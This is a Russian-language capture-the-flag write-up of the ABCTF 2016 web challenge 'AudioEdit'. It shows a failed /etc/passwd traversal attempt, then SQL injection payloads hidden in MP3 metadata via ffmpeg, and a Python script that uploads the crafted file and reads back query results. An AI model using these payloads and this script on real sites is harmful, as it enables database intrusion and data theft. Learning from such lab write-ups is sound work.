AudioEdit Writeup
Сегодня мы разберем один из самых интересных тасков на веб с ABCTF 2016 - AudioEdit!
Описание таска:
I made a cool site to edit audio files. Can you exploit it?
Нам дана ссылка на сайт http://107.170.122.6/audioedit/ в котором можно отсылать mp3 файл и редактировать его.
Главная страница:
Переходим по кнопке Upload на страницу upload.php и видим следующее:
Попробуем отослать какой-нибудь mp3 файл, подождем немного и уже видим обновленную страницу (взял для тестирования аудио )
Адрес страницы
http://107.170.122.6/audioedit/edit.php?file=953f7eb470b1b8f63f0d6451e58157606a3ac57c.mp3
На этом моменте сразу две идеи.
Первая - local file inclusion.
Попробуем подкачать файл /etc/passwd :
http://107.170.122.6/audioedit/edit.php?file=../../../../../../../../../etc/passwd
И.. видим следующую ошибку:
Error fetching audio file from DB!
Идея с треском провалилась! Все файловые параметры проверяются по БД и подкачать файл, которого нет в бд, не получится.
Особо внимательные заметят, что при обращении к нашему edit.php?file=.mp3 файлу браузер переходил по ссылке /uploads/.mp3, так что LFI (Local File Inclusion) невозможна! Перейдем ко второй идее...
Вторая - PHP file upload.
Что нам мешает отослать файл не mp3, а php файл? Пробуем!
Invalid file format.
(спустя два часа)
Мы перепробовали все, что только можно! И меняли тип, и нулевой байт - в общем зря потратили время.
Значит способ наш оказался провальным!
Единственное, что осталось - это злополучное аудио. Заметим, что на странице редактирования аудио (третий скрин) у нас каким то образом извлекли заголовок и автора аудиозаписи. Раз наше аудио обрабатывается только в браузере (а файл в неизмененном виде перемещается), то логично предположить, что заголовок и автор песни хранятся в соответствующих колонках в базе данных!
Давайте тестировать. Для того, чтобы поменять данные mp3 файла мы воспользуемся ffmpeg (хотя первоначально я использовал itunes).
Следующая команда меняет заголовок и автора песни:
ffmpeg -i in.mp3 -metadata title=" '()<>test1" -metadata artist="'()<>test2" out.mp3
Отправляем аудиозапись и видим следующую ошибку:
Error inserting into database!
Это же SQL Insert/Update Injection!
Напомню синтаксис SQL Insert:
INSERT into TABLE values('first','second')
И в случае, если у нас есть иньекция в двух параметрах (а у нас она присутствует как в author, так и в title) то мы можем изменяя первый параметр выводить результаты запроса в поле второго параметра!
Пример:
Если мы вставим в первый параметр
1', (select version()) ) --
и наш запрос примет вид
INSERT into TABLE values('1', (select version()) ) --
В итоге вместо слова 'second' занесется версия MySQL.
Так и в нашем случае - только первый параметр является artist, а второй параметр - title. Узнать это можно было опытным путем.
Напишем программу, с которой нам будет удобнее получать результат запроса:
import requests,os,string,random
sql="',(SELECT version()) ) -- " #Наш SQL запрос
#случайная строка длинной 10 (дубликаты файлов на сервере не сохраняются, поэтому нужна отличная хеш-сумма)
ra = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))
#из файла test1.mp3 делаем test3.mp3 с обновленным заголовком title.
os.system("ffmpeg -i test1.mp3 -metadata artist=\""+sql+"\" -metadata title=\""+ra+"\" test3.mp3")
#POST отсылка файла test3.mp3
r = requests.post('http://107.170.122.6/audioedit/submit_upload.php', files={'audio': open('test3.mp3', 'rb')}, allow_redirects=False )
#удаляем test3.mp3 для дальнейшего тестирования
os.system("rm test3.mp3")
#парсим страницу с файлом и выводим строку с выводом нашего SQL запроса.
if 'location' in r.headers:
r = requests.get('http://107.170.122.6/audioedit'+r.headers['location'][1:])
t = r.text.split('<h5>Title: <small>')
t = t[1].split('</small>')
k = t[0]
print(k)
Пример работы:
<<',(SELECT version()) ) --
>>5.5.49-0ubuntu0.14.04.1
Теперь мы можем с легкостью эксплуатировать SQL injection!
Начинаем стандартными способами получать базы данных, таблицы и колонки (напоминаю, что в конце SELECT запроса нужно ставить limit x,1 чтобы это значение могло быть сохранено):
DB:audioedit
TABLE:audioedit
COLUMNS: id,file,author, title
Далее был небольшой затык - не скачивались данные из таблицы с файлами. Оказалось то, что у нас не INSERT, а UPDATE запрос! А в нем нельзя получить данные таблицы, которую обновляете.
Но это тоже можно обойти - для этого воспользуемся помощью гугла:
Первая же ссылка рассказала нам, что выбирать из таблицы можно следующим способом:
SELECT MIN(pos)-1 FROM (SELECT * FROM forms) AS x
Преобразуем под наш запрос и получаем:
sql="',(SELECT file FROM (SELECT * FROM audioedit) AS x limit 0,1) ) -- "
Пояснение: мы хотим получить первую запись колонки file из таблицы audioedit.
Вывод программы:
supersecretflagf1le.mp3
И тут была еще одна подстава! Скачав файл, получаем аудио с тихими сигналами.
Но не даром же это WEB таск, а не стеганография!
Подгружаем наш аудиофайл в AudioEdit страничке:
http://107.170.122.6/audioedit/edit.php?file=supersecretflagf1le.mp3
Поэкспериментируем с визуализацией и.. включив сонограмму видим ФЛАГ!!
Вот и все!
FLAG: ABCTF{m3t4_inj3cti00n}
P.S. По большей части в таске проверялись знания SQL Insert/Update injection.
- Автор: drakylar
- Комментарии: 0
- Просмотры: 6682